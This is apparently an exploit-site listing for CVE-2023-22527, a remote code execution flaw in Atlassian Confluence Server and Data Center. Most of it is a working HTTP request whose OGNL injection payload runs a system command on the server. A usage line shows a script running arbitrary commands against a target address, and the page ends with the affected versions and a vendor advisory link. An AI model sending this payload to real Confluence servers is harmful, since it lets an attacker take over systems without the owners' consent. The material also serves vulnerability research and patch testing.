Share
## https://sploitus.com/exploit?id=E8B5FECC-55FA-5B21-A558-46FE36788FAE
# CVE-2023-22527

## CVE-2023-22527 - RCE (Remote Code Execution) Vulnerability In Confluence Data Center and Confluence Server PoC


### Poc
``` txt
POST /template/aui/text-inline.vm HTTP/1.1
Host: 192.168.31.3:8092
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 287

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
```


### ็”จๆณ•
``` python
python CVE-2023-22527.py --target http://36.1.40.134:8090 --cmd "whoami"
```

### ๅฝฑๅ“่Œƒๅ›ด
Atlassian Confluence
8.0.x
8.1.x
8.2.x
8.3.x
8.4.x
8.5.0-8.5.3

### ๅผ•็”จ
https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html